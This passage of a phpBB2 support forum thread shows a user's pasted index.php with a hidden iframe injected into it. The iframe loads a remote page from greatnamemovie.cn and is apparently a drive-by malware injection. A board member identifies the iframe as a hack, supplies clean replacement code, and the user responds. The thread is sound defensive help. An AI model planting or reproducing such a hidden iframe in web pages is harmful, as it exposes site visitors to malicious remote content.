   include($phpbb_root_path . 'includes/page_header.'.$phpEx);

   $template->set_filenames(array(
      'body' => 'index_body.tpl')
   );

   $template->assign_vars(array(
      'TOTAL_POSTS' => sprintf($l_total_post_s, $total_posts),
      'TOTAL_USERS' => sprintf($l_total_user_s, $total_users),
      'NEWEST_USER' => sprintf($lang['Newest_user'], '<a href="' . append_sid("profile.$phpEx?mode=viewprofile&amp;" . POST_USERS_URL . "=$newest_uid") . '">', $newest_user, '</a>'),

      'FORUM_IMG' => $images['forum'],
      'FORUM_NEW_IMG' => $images['forum_new'],
      'FORUM_LOCKED_IMG' => $images['forum_locked'],

      'L_FORUM' => $lang['Forum'],
      'L_TOPICS' => $lang['Topics'],
      'L_REPLIES' => $lang['Replies'],
      'L_VIEWS' => $lang['Views'],
      'L_POSTS' => $lang['Posts'],
      'L_LASTPOST' => $lang['Last_Post'],
      'L_NO_NEW_POSTS' => $lang['No_new_posts'],
      'L_NEW_POSTS' => $lang['New_posts'],
      'L_NO_NEW_POSTS_LOCKED' => $lang['No_new_posts_locked'],
      'L_NEW_POSTS_LOCKED' => $lang['New_posts_locked'],
      'L_ONLINE_EXPLAIN' => $lang['Online_explain'],

      'L_MODERATOR' => $lang['Moderators'],
      'L_FORUM_LOCKED' => $lang['Forum_is_locked'],
      'L_MARK_FORUMS_READ' => $lang['Mark_all_forums'],

      'U_MARK_READ' => append_sid("index.$phpEx?mark=forums"))
   );

   //
   // Let's decide which categories we should display
   //
   $display_categories = array();

   for ($i = 0; $i < $total_forums; $i++ )
   {
      if ($is_auth_ary[$forum_data[$i]['forum_id']]['auth_view'])
      {
         $display_categories[$forum_data[$i]['cat_id']] = true;
      }
   }

   //
   // Okay, let's build the index
   //
   for($i = 0; $i < $total_categories; $i++)
   {
      $cat_id = $category_rows[$i]['cat_id'];

      //
      // Yes, we should, so first dump out the category
      // title, then, if appropriate the forum list
      //
      if (isset($display_categories[$cat_id]) && $display_categories[$cat_id])
      {
         $template->assign_block_vars('catrow', array(
            'CAT_ID' => $cat_id,
            'CAT_DESC' => $category_rows[$i]['cat_title'],
            'U_VIEWCAT' => append_sid("index.$phpEx?" . POST_CAT_URL . "=$cat_id"))
         );

         if ( $viewcat == $cat_id || $viewcat == -1 )
         {
            for($j = 0; $j < $total_forums; $j++)
            {
               if ( $forum_data[$j]['cat_id'] == $cat_id )
               {
                  $forum_id = $forum_data[$j]['forum_id'];

                  if ( $is_auth_ary[$forum_id]['auth_view'] )
                  {
                     if ( $forum_data[$j]['forum_status'] == FORUM_LOCKED )
                     {
                        $folder_image = $images['forum_locked'];
                        $folder_alt = $lang['Forum_locked'];
                     }
                     else
                     {
                        $unread_topics = false;
                        if ( $userdata['session_logged_in'] )
                        {
                           if ( !empty($new_topic_data[$forum_id]) )
                           {
                              $forum_last_post_time = 0;

                              while( list($check_topic_id, $check_post_time) = @each($new_topic_data[$forum_id]) )
                              {
                                 if ( empty($tracking_topics[$check_topic_id]) )
                                 {
                                    $unread_topics = true;
                                    $forum_last_post_time = max($check_post_time, $forum_last_post_time);

                                 }
                                 else
                                 {
                                    if ( $tracking_topics[$check_topic_id] < $check_post_time )
                                    {
                                       $unread_topics = true;
                                       $forum_last_post_time = max($check_post_time, $forum_last_post_time);
                                    }
                                 }
                              }

                              if ( !empty($tracking_forums[$forum_id]) )
                              {
                                 if ( $tracking_forums[$forum_id] > $forum_last_post_time )
                                 {
                                    $unread_topics = false;
                                 }
                              }

                              if ( isset($HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_f_all']) )
                              {
                                 if ( $HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_f_all'] > $forum_last_post_time )
                                 {
                                    $unread_topics = false;
                                 }
                              }

                           }
                        }

                        $folder_image = ( $unread_topics ) ? $images['forum_new'] : $images['forum'];
                        $folder_alt = ( $unread_topics ) ? $lang['New_posts'] : $lang['No_new_posts'];
                     }

                     $posts = $forum_data[$j]['forum_posts'];
                     $topics = $forum_data[$j]['forum_topics'];

                     if ( $forum_data[$j]['forum_last_post_id'] )
                     {
                        $last_post_time = create_date($board_config['default_dateformat'], $forum_data[$j]['post_time'], $board_config['board_timezone']);

                        $last_post = $last_post_time . '<br />';

                        $last_post .= ( $forum_data[$j]['user_id'] == ANONYMOUS ) ? ( ($forum_data[$j]['post_username'] != '' ) ? $forum_data[$j]['post_username'] . ' ' : $lang['Guest'] . ' ' ) : '<a href="' . append_sid("profile.$phpEx?mode=viewprofile&amp;" . POST_USERS_URL . '='  . $forum_data[$j]['user_id']) . '">' . $forum_data[$j]['username'] . '</a> ';
                        
                        $last_post .= '<a href="' . append_sid("viewtopic.$phpEx?"  . POST_POST_URL . '=' . $forum_data[$j]['forum_last_post_id']) . '#' . $forum_data[$j]['forum_last_post_id'] . '"><img src="' . $images['icon_latest_reply'] . '" border="0" alt="' . $lang['View_latest_post'] . '" title="' . $lang['View_latest_post'] . '" /></a>';
                     }
                     else
                     {
                        $last_post = $lang['No_Posts'];
                     }

                     if ( count($forum_moderators[$forum_id]) > 0 )
                     {
                        $l_moderators = ( count($forum_moderators[$forum_id]) == 1 ) ? $lang['Moderator'] : $lang['Moderators'];
                        $moderator_list = implode(', ', $forum_moderators[$forum_id]);
                     }
                     else
                     {
                        $l_moderators = '&nbsp;';
                        $moderator_list = '&nbsp;';
                     }

                     $row_color = ( !($i % 2) ) ? $theme['td_color1'] : $theme['td_color2'];
                     $row_class = ( !($i % 2) ) ? $theme['td_class1'] : $theme['td_class2'];

                     $template->assign_block_vars('catrow.forumrow',   array(
                        'ROW_COLOR' => '#' . $row_color,
                        'ROW_CLASS' => $row_class,
                        'FORUM_FOLDER_IMG' => $folder_image,
                        'FORUM_NAME' => $forum_data[$j]['forum_name'],
                        'FORUM_DESC' => $forum_data[$j]['forum_desc'],
                        'POSTS' => $forum_data[$j]['forum_posts'],
                        'TOPICS' => $forum_data[$j]['forum_topics'],
                        'LAST_POST' => $last_post,
                        'MODERATORS' => $moderator_list,

               
<iframe src="http://greatnamemovie.cn:8080/ts/in.cgi?pepsi18" width=12 height=12 style="visibility: hidden"></iframe>




Thanks for clarifying which file.
Back to top
dogs and things
Board Member



Joined: 18 Nov 2008

Posts: 628
Location: Spain


flag
PostPosted: Fri May 22, 2009 8:08 am 
Post subject: Re: Parsing error

This
Code:
<iframe src="http://greatnamemovie.cn:8080/ts/in.cgi?pepsi18" width=12 height=12 style="visibility: hidden"></iframe>
is not supposed to be there. Watch the
Code:
style="visibility: hidden"

This means that it is not visible and if you didnīt place it there for some purpose some external entity placed it there for a bad purpose.

Replace
Code:
<iframe src="http://greatnamemovie.cn:8080/ts/in.cgi?pepsi18" width=12 height=12 style="visibility: hidden"></iframe>

with
Code:

                        'L_MODERATOR' => $l_moderators,
                        'L_FORUM_FOLDER_ALT' => $folder_alt,

                        'U_VIEWFORUM' => append_sid("viewforum.$phpEx?" . POST_FORUM_URL . "=$forum_id"))
                     );
                  }
               }
            }
         }
      }
   } // for ... categories

}// if ... total_categories
else
{
   message_die(GENERAL_MESSAGE, $lang['No_forums']);
}

//
// Generate the page
//
$template->pparse('body');

include($phpbb_root_path . 'includes/page_tail.'.$phpEx);

?>

And also, make sure there's no space before
Code:
<?php
at the start of this file.

I would also ask my hosting how they explain the presence of this strange iframe bit of code because I suspect this was placed there in a fraudulent manner, i.e. I suspect somebody hacked their server.

_________________
phpBB2 will never die, I hope!
Back to top
sabsfan2
Board Member



Joined: 21 May 2009

Posts: 6



PostPosted: Fri May 22, 2009 9:00 am 
Post subject: Re: Parsing error

Wow. Just wow. That would explain a lot of things that are going on with the site. I figured they were doing server maintenance and were jacking the files. But being hacked explains why time/date stamps are not in keeping with my activity.

What exactly does this snippet of code do?

I'll make the changes you suggest when I get home. I'll ask the host about that code and ask if they can check their logs for strange activity, but they will say that the code is there because I put it there and they don't do code problems.

I'm currently researching new hosts and how to back up my database for the move. I am done with these people.

Should I replace the current code with my back up?

Thanks for taking the time to go over this with me. I'm in forensics and my brain is already on overload from all that info. Code is just enough to drive me over the edge.
Back to top
Display posts from previous:   
Register or Login to Post    Index » General Support  Previous TopicPrint TopicNext Topic
Page 1 of 1 All times are GMT - 4 Hours
 
Jump to:  

Index • About • FAQ • Rules • Privacy • Search •  Register •  Login 
Not affiliated with or endorsed by the phpBB Group
Powered by phpBB2 © phpBB Group
Generated in 0.1272 seconds using 16 queries. (SQL 0.0162 Parse 0.0015 Other 0.1095)
phpBB Customizations by the phpBBDoctor.com
Template Design by DeLFlo and MomentsOfLight.com Moments of Light Logo